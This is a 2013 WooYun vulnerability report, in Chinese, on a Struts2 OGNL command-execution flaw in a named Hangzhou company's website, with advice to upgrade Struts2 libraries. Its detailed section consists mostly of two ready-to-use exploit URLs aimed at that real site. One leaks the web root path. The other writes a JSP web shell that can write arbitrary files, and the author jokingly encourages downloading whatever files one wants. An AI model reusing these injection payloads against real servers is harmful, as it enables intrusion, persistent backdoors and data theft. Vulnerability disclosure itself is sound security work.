漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-032669
漏洞标题:杭州波拉波拉命令执行漏洞
相关厂商:杭州波拉波拉
漏洞作者: 白猫
提交时间:2013-07-29 15:04
修复时间:2013-09-12 15:05
公开时间:2013-09-12 15:05
漏洞类型:命令执行
危害等级:高
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-07-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-12: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
可以获取到网站根目录位置,写入文件,下载你想要的到网站上进行获取相关数据
详细说明:
1、可以通过http://www.atbora.com/?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D 获取到网站根目录位置
2、通过http://www.atbora.com/lyra/front/index.do?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\","/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e写入文件。
另外可以下载一些你想要的文件,你懂的^_^
漏洞证明:
修复方案:
建议升级
struts2-core-2.3.15.1.jar
commons-lang3-3.1.jar
xwork-core-2.3.15.1.jar
ognl-3.0.6.jar
struts2-convention-plugin-2.3.15.1.jar
版权声明:转载请注明来源 白猫@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝